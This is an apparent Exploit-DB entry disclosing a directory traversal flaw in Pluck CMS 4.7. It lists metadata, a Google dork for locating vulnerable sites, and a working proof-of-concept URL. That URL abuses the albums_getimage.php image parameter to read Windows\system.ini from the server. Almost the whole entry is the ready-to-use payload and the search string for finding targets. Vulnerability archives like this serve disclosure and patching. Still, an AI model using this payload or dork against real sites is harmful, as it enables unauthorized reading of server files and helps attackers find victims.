Pluck CMS 4.7 - Directory Traversal

Author: Wadeek
type: webapps
platform: php
port: 
date_added: 2015-05-12 
date_updated: 2016-12-13 
verified: 1 
codes: OSVDB-122404 
tags: 
aliases:  
screenshot_url: http://www.exploit-db.com/screenshots/idlt37000/dirtrav.png 
application_url: 

# Exploit Title: Pluck 4.7 Directory Traversal
# Google Dork: filetype:php inurl:"/data/modules/albums/albums_getimage.php?image="
# Date: 08/05/15
# Exploit Author: Wadeek
# Vendor Homepage: http://www.pluck-cms.org/?file=home
# Software Link: http://www.opensourcecms.com/scripts/redirect/download.php?id=167
# Version: 4.7
# Tested on: Xampp on Windows7
###################################################################################
PoC = http://127.0.0.1/pluck-4_7/data/modules/albums/albums_getimage.php?image=\..\..\..\..\..\..\..\Windows\system.ini
###################################################################################